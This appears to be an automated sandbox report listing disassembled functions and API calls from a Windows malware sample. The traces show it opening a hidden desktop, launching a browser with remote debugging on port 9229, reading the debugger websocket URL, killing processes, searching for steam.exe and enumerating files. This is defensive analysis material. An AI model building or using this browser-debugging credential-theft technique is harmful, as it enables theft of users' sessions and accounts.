lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404AB9
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404AC0
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404AC7
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404ACE
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404AD9
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404AE0
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404AE7
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404AEE
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404AF5
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404B0B
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404B12
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404B19
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404B20
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404B27
strlen.MSVCRT ref: 00404B2F
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404B53
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404B5A
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404B61
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404B68
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404B6F
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404B7F
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404B86
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404B8D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404B94
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404B9B
VirtualProtect.KERNEL32(00000000,00000004,00000100,?), ref: 00404BB0

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404A6F, 00404A76, 00404A7D, 00404A84, 00404A8B, 00404AAA, 00404AB4, 00404ABB, 00404AC2, 00404AC9, 00404AD0, 00404ADB, 00404AE2, 00404AE9, 00404AF0, 00404B06, 00404B0D, 00404B14, 00404B1B, 00404B22, 00404B43, 00404B55, 00404B5C, 00404B63, 00404B6A, 00404B7A, 00404B81, 00404B88, 00404B8F, 00404B96

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Heap$AllocateProcessProtectVirtualstrlen
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 2127927946-3329630956
Opcode ID: 8bf40e820b6c35933ad88c1bf2b73006270156400bf96cbfb35ed2ea5e4d44b0
Instruction ID: 0186166956bd2e558ee76b3f70d4bca0d74bfc6bd584157dd449528c27a0882d
Opcode Fuzzy Hash: 8bf40e820b6c35933ad88c1bf2b73006270156400bf96cbfb35ed2ea5e4d44b0
Instruction Fuzzy Hash: 2031E7A0B4021C768660EBBD4C4AFDF7E54DFCC752F21529375285A180CBB865A1CEFA

Function 004265A0 Relevance: 58.0, APIs: 32, Strings: 1, Instructions: 218
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,02F53210), ref: 004265F9
GetProcAddress.KERNEL32(74DD0000,02F53228), ref: 00426612
GetProcAddress.KERNEL32(74DD0000,02F53240), ref: 0042662A
GetProcAddress.KERNEL32(74DD0000,02F53258), ref: 00426642
GetProcAddress.KERNEL32(74DD0000,02F53270), ref: 0042665B
GetProcAddress.KERNEL32(74DD0000,02F54258), ref: 00426673
GetProcAddress.KERNEL32(74DD0000,02F54278), ref: 0042668B
GetProcAddress.KERNEL32(74DD0000,02F53280), ref: 004266A4
GetProcAddress.KERNEL32(74DD0000,02F54298), ref: 004266BC
GetProcAddress.KERNEL32(74DD0000,02F542B0), ref: 004266D4
GetProcAddress.KERNEL32(74DD0000,02F504B0), ref: 004266ED
GetProcAddress.KERNEL32(74DD0000,02F504C8), ref: 00426705
GetProcAddress.KERNEL32(74DD0000,02F57268), ref: 0042671D
GetProcAddress.KERNEL32(74DD0000,02F57358), ref: 00426736
GetProcAddress.KERNEL32(74DD0000,02F504E8), ref: 0042674E
GetProcAddress.KERNEL32(74DD0000,02F57220), ref: 00426766
GetProcAddress.KERNEL32(74DD0000,02F573E8), ref: 0042677F
GetProcAddress.KERNEL32(74DD0000,02F50508), ref: 00426797
GetProcAddress.KERNEL32(74DD0000,02F57340), ref: 004267AF
GetProcAddress.KERNEL32(74DD0000,02F50528), ref: 004267C8
LoadLibraryA.KERNEL32(02F57370,?,?,?,00421DD3), ref: 004267D9
LoadLibraryA.KERNEL32(02F57388,?,?,?,00421DD3), ref: 004267EB
LoadLibraryA.KERNEL32(02F572B0,?,?,?,00421DD3), ref: 004267FD
LoadLibraryA.KERNEL32(02F57280,?,?,?,00421DD3), ref: 0042680E
LoadLibraryA.KERNEL32(02F573A0,?,?,?,00421DD3), ref: 00426820
GetProcAddress.KERNEL32(75A70000,02F572C8), ref: 0042683D
GetProcAddress.KERNEL32(75290000,02F573B8), ref: 00426859
GetProcAddress.KERNEL32(75290000,02F57238), ref: 00426871
GetProcAddress.KERNEL32(75BD0000,02F572E0), ref: 0042688D
GetProcAddress.KERNEL32(75450000,02F50548), ref: 004268A9
GetProcAddress.KERNEL32(76E90000,02F50568), ref: 004268C5
GetProcAddress.KERNEL32(76E90000,NtQueryInformationProcess), ref: 004268DC

Strings

NtQueryInformationProcess, xrefs: 004268D1

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: a0226fb1de2a253c99530d6fce77f7e55c12dd663f87554d91de79b96c56bdea
Instruction ID: c8aed59fda04e3cf9204761986b765ea78ea08a0f6f798f1817e4274c813b15d
Opcode Fuzzy Hash: a0226fb1de2a253c99530d6fce77f7e55c12dd663f87554d91de79b96c56bdea
Instruction Fuzzy Hash: C0A15EB9A117009FD758DF65EE88A6637BBF789344300A51EF94683360DBB4A900DFB0

Function 00409770 Relevance: 47.5, APIs: 24, Strings: 3, Instructions: 233
stringsleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00409790
lstrcatA.KERNEL32(?,?), ref: 004097A0
lstrcatA.KERNEL32(?,?), ref: 004097B1
lstrcatA.KERNEL32(?, --remote-debugging-port=9229 --profile-directory="), ref: 004097C3
memset.MSVCRT ref: 004097D7

Part of subcall function 00424040: lstrcpy.KERNEL32(00000000,0042CFF4), ref: 00424075
Part of subcall function 00424040: lstrcpy.KERNEL32(00000000,02F598D0), ref: 0042409F
Part of subcall function 00424040: GetSystemTime.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,00404DFA,?,00000014), ref: 004240A9

wsprintfA.USER32 ref: 00409806
OpenDesktopA.USER32(?,00000000,00000001,10000000), ref: 00409827
CreateDesktopA.USER32(?,00000000,00000000,00000000,10000000,00000000), ref: 00409844

Part of subcall function 004248B0: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,00000000), ref: 004248C9
Part of subcall function 004248B0: Process32First.KERNEL32(00000000,00000128), ref: 004248D9
Part of subcall function 004248B0: Process32Next.KERNEL32(00000000,00000128), ref: 004248EB
Part of subcall function 004248B0: StrCmpCA.SHLWAPI(?,?), ref: 004248FD
Part of subcall function 004248B0: OpenProcess.KERNEL32(00000001,00000000,?), ref: 00424912
Part of subcall function 004248B0: TerminateProcess.KERNEL32(00000000,00000000), ref: 00424921
Part of subcall function 004248B0: CloseHandle.KERNEL32(00000000), ref: 00424928
Part of subcall function 004248B0: Process32Next.KERNEL32(00000000,00000128), ref: 00424936
Part of subcall function 004248B0: CloseHandle.KERNEL32(00000000), ref: 00424941

memset.MSVCRT ref: 00409862
lstrcatA.KERNEL32(00000000,?), ref: 00409878
lstrcatA.KERNEL32(00000000,?), ref: 00409889
lstrcatA.KERNEL32(00000000,00434B70), ref: 0040989B
memset.MSVCRT ref: 004098AF
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 004098D4
lstrcpy.KERNEL32(00000000,?), ref: 00409903
StrStrA.SHLWAPI(00000000,02F66180), ref: 00409919
lstrcpyn.KERNEL32(006393D0,00000000,00000000), ref: 00409938
lstrlenA.KERNEL32(?), ref: 0040994B
wsprintfA.USER32 ref: 0040995B
lstrcpy.KERNEL32(?,00000000), ref: 00409971
memset.MSVCRT ref: 00409986
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,08000000,00000000,00000000,00000044,00000000), ref: 004099D8
Sleep.KERNEL32(00001388), ref: 004099E7

Part of subcall function 00401530: lstrcpy.KERNEL32(00000000,?), ref: 00401557
Part of subcall function 00401530: lstrcpy.KERNEL32(00000000,?), ref: 00401579
Part of subcall function 00401530: lstrcpy.KERNEL32(00000000,?), ref: 0040159B
Part of subcall function 00401530: lstrcpy.KERNEL32(00000000,?), ref: 004015FF

Part of subcall function 004092B0: strlen.MSVCRT ref: 004092E1
Part of subcall function 004092B0: strlen.MSVCRT ref: 004092FA
Part of subcall function 004092B0: memset.MSVCRT ref: 00409341
Part of subcall function 004092B0: lstrcatA.KERNEL32(?,ws://localhost:9229), ref: 0040935C
Part of subcall function 004092B0: lstrcatA.KERNEL32(?,00000000), ref: 00409372
Part of subcall function 004092B0: strlen.MSVCRT ref: 00409399
Part of subcall function 004092B0: strlen.MSVCRT ref: 004093E6

Part of subcall function 00424950: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00000000,?), ref: 00424969
Part of subcall function 00424950: Process32First.KERNEL32(00000000,00000128), ref: 00424979
Part of subcall function 00424950: Process32Next.KERNEL32(00000000,00000128), ref: 0042498B
Part of subcall function 00424950: OpenProcess.KERNEL32(00000001,00000000,?), ref: 004249AC
Part of subcall function 00424950: TerminateProcess.KERNEL32(00000000,00000000), ref: 004249BB
Part of subcall function 00424950: CloseHandle.KERNEL32(00000000), ref: 004249C2
Part of subcall function 00424950: Process32Next.KERNEL32(00000000,00000128), ref: 004249D0
Part of subcall function 00424950: CloseHandle.KERNEL32(00000000), ref: 004249DB

CloseDesktop.USER32(?), ref: 00409A1C

Strings

D, xrefs: 00409999
%s%s, xrefs: 00409955
--remote-debugging-port=9229 --profile-directory=", xrefs: 004097B7

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcatlstrcpy$Process32memset$CloseProcess$CreateHandleNextstrlen$DesktopOpen$FirstSnapshotTerminateToolhelp32wsprintf$FolderPathSleepSystemTimelstrcpynlstrlen
String ID: --remote-debugging-port=9229 --profile-directory="$%s%s$D
API String ID: 67568813-1862457068
Opcode ID: f0e09b818201a393233cab66415fd22211ef7cce58cd17725091e0cdef86ad63
Instruction ID: 495590a35717f7ad5e9146dd42da6e15bb761b2d20d19d648fc28b69e0ee71b3
Opcode Fuzzy Hash: f0e09b818201a393233cab66415fd22211ef7cce58cd17725091e0cdef86ad63
Instruction Fuzzy Hash: 5A916371A10218AFDB10DF64DC89FDE77B9AF48700F504169F609A7291DFB4AA448FA4

Function 004016B9 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 219stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 004016E2
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 00401719
lstrcpy.KERNEL32(00000000,00000000), ref: 0040176C
lstrcatA.KERNEL32(00000000), ref: 00401776
lstrcpy.KERNEL32(00000000,00000000), ref: 004017A2
lstrcpy.KERNEL32(00000000,?), ref: 004018F3
lstrcatA.KERNEL32(00000000,00000000), ref: 004018FE

Strings

\*.*, xrefs: 0040196C, 00401994

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat
String ID: \*.*
API String ID: 2276651480-1173974218
Opcode ID: ca164a249c0cb48b6ef971486e5389a256ac3d2318647d626bb5aa11e4f20f45
Instruction ID: cd0a47829bd521185c17289ca57b989961521a9507289b2fd78fa20e7e11e416
Opcode Fuzzy Hash: ca164a249c0cb48b6ef971486e5389a256ac3d2318647d626bb5aa11e4f20f45
Instruction Fuzzy Hash: 21815171A112169BCB21EF69DD89AAF77B5AF04304F04113AF805B72E1CB789D05CFA9

Function 0041D720 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 183stringfileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0041D73D
FindFirstFileA.KERNEL32(?,?), ref: 0041D754
StrCmpCA.SHLWAPI(?,004317A8), ref: 0041D774
StrCmpCA.SHLWAPI(?,004317AC), ref: 0041D78E
lstrcatA.KERNEL32(?,02F64DF8), ref: 0041D7D3
lstrcatA.KERNEL32(?,02F64D38), ref: 0041D7E7
lstrcatA.KERNEL32(?,?), ref: 0041D7FB
lstrcatA.KERNEL32(?,?), ref: 0041D80C
lstrcatA.KERNEL32(?,0043179C), ref: 0041D81E
lstrcatA.KERNEL32(?,?), ref: 0041D832
lstrcpy.KERNEL32(00000000,?), ref: 0041D872
lstrcpy.KERNEL32(00000000,?), ref: 0041D8C2
FindNextFileA.KERNEL32(00000000,?), ref: 0041D927
FindClose.KERNEL32(00000000), ref: 0041D936

Strings

%s\%s, xrefs: 0041D737

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$Filelstrcpy$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 50252434-4073750446
Opcode ID: 3f3796befd7c0ffc14c89cab985c08285e83f9af2863be465bc38fb3d0aa89a8
Instruction ID: 088deee37be65bbf3a850f5a5aadb796bf7c5151083d2211ce222cd3b5d0df16
Opcode Fuzzy Hash: 3f3796befd7c0ffc14c89cab985c08285e83f9af2863be465bc38fb3d0aa89a8
Instruction Fuzzy Hash: 016195B1E102199BCB10EF74DC88ADE77B5EF48304F0054AAF519A3290DB78EA45CF94

Function 004090C0 Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 161networkstringfileCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET(Function_0002CFF4,00000001,00000000,00000000,00000000), ref: 004090DF
InternetOpenUrlA.WININET(00000000,http://localhost:9229/json,00000000,00000000,80000000,00000000), ref: 004090FC
InternetCloseHandle.WININET(00000000), ref: 00409109
strlen.MSVCRT ref: 00409125
InternetReadFile.WININET(?,?,?,00000000), ref: 00409166
InternetReadFile.WININET(00000000,?,00001000,?), ref: 00409197
InternetCloseHandle.WININET(00000000), ref: 004091A2
InternetCloseHandle.WININET(00000000), ref: 004091A9
strlen.MSVCRT ref: 004091BA
strlen.MSVCRT ref: 004091ED
strlen.MSVCRT ref: 0040922E

Part of subcall function 00417F70: memchr.MSVCRT ref: 00417FAF
Part of subcall function 00417F70: memcmp.MSVCRT(00000000,?,?,?,"webSocketDebuggerUrl":,00000000), ref: 00417FC9
Part of subcall function 00417F70: memchr.MSVCRT ref: 00417FE8

strlen.MSVCRT ref: 0040924C

Part of subcall function 00408980: std::_Xinvalid_argument.LIBCPMT ref: 00408996

Strings

"webSocketDebuggerUrl":, xrefs: 004091B5, 004091C0
http://localhost:9229/json, xrefs: 004090F6
"ws://, xrefs: 00409229, 00409234

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: Internet$strlen$CloseHandle$FileOpenReadmemchr$Xinvalid_argumentmemcmpstd::_
String ID: "webSocketDebuggerUrl":$"ws://$http://localhost:9229/json
API String ID: 4166274400-2144369209
Opcode ID: 53a628b65657fa61a1d194991d7947579d595db28234ab206512013a1031fc45
Instruction ID: 62fb44208f50143f0df4e4bc312ad9eab56ff335836e39007d31b3694086bffb
Opcode Fuzzy Hash: 53a628b65657fa61a1d194991d7947579d595db28234ab206512013a1031fc45
Instruction Fuzzy Hash: C151B671700205ABD720DBA8DC45BDEF7B9EF48710F14016AF905B32C1DBB8EA4487A9

Function 004124F7 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 106stringfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 00412524
lstrcpy.KERNEL32(00000000,00000000), ref: 00412547
lstrcatA.KERNEL32(00000000,00000000), ref: 00412552
lstrlenA.KERNEL32(\*.*), ref: 0041255D
lstrcpy.KERNEL32(00000000,00000000), ref: 0041257A
lstrcatA.KERNEL32(00000000,\*.*), ref: 00412586
lstrcpy.KERNEL32(00000000,00000000), ref: 004125BA
FindFirstFileA.KERNEL32(00000000,?), ref: 004125D6

Strings

\*.*, xrefs: 00412558, 00412580

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$FileFindFirstlstrlen
String ID: \*.*
API String ID: 2567437900-1173974218
Opcode ID: 79938bc4f3bb2babc74ee0d6fd24aca959f2fb25b2641c0b3dab72eed100698e
Instruction ID: 2f3a93794d0539e2a55c5fe1855a16b658c842ef6a257d672e33e624a19693a5
Opcode Fuzzy Hash: 79938bc4f3bb2babc74ee0d6fd24aca959f2fb25b2641c0b3dab72eed100698e
Instruction Fuzzy Hash: B3314F307101159BC722EF29DEC9A9F77A5AF14308F04113AB805E72E1DFB89D458F98

Function 004124F9 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 106stringfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 00412524
lstrcpy.KERNEL32(00000000,00000000), ref: 00412547
lstrcatA.KERNEL32(00000000,00000000), ref: 00412552
lstrlenA.KERNEL32(\*.*), ref: 0041255D
lstrcpy.KERNEL32(00000000,00000000), ref: 0041257A
lstrcatA.KERNEL32(00000000,\*.*), ref: 00412586
lstrcpy.KERNEL32(00000000,00000000), ref: 004125BA
FindFirstFileA.KERNEL32(00000000,?), ref: 004125D6

Strings

\*.*, xrefs: 00412558, 00412580

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$FileFindFirstlstrlen
String ID: \*.*
API String ID: 2567437900-1173974218
Opcode ID: 0c081f3949a2e9e97574db90f1c43ef76a04c3dafe86ffe06de4156373f326bf
Instruction ID: e73ea28191eb0cbea26f7d438d5019861def95d52c5fe6f0c72ff1bd57479ae0
Opcode Fuzzy Hash: 0c081f3949a2e9e97574db90f1c43ef76a04c3dafe86ffe06de4156373f326bf
Instruction Fuzzy Hash: 20414F307102159BCB22EF29DEC9A9F77A5AF14308F04113AB845A72E1DFB89D458F98

Function 004248B0 Relevance: 13.6, APIs: 9, Instructions: 54processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,00000000), ref: 004248C9
Process32First.KERNEL32(00000000,00000128), ref: 004248D9
Process32Next.KERNEL32(00000000,00000128), ref: 004248EB
StrCmpCA.SHLWAPI(?,?), ref: 004248FD
OpenProcess.KERNEL32(00000001,00000000,?), ref: 00424912
TerminateProcess.KERNEL32(00000000,00000000), ref: 00424921
CloseHandle.KERNEL32(00000000), ref: 00424928
Process32Next.KERNEL32(00000000,00000128), ref: 00424936
CloseHandle.KERNEL32(00000000), ref: 00424941

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseHandleNextProcess$CreateFirstOpenSnapshotTerminateToolhelp32
String ID:
API String ID: 3836391474-0
Opcode ID: 31794d220843fc32869daf0815515cd9fdb01cafa73083098f7cfc23eab11e6d
Instruction ID: 956b9cb34166e2898696d065da2ac792d61c713baa536d295fc307e1a52bb286
Opcode Fuzzy Hash: 31794d220843fc32869daf0815515cd9fdb01cafa73083098f7cfc23eab11e6d
Instruction Fuzzy Hash: 44016D71601224ABE7215B70EC89FFB377DEB88B51F00119DF90596290EFB899848EB5

Function 00424820 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 45processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00000000), ref: 00424838
Process32First.KERNEL32(00000000,00000128), ref: 00424848
Process32Next.KERNEL32(00000000,00000128), ref: 0042485A
StrCmpCA.SHLWAPI(?,steam.exe), ref: 00424870
Process32Next.KERNEL32(00000000,00000128), ref: 00424882
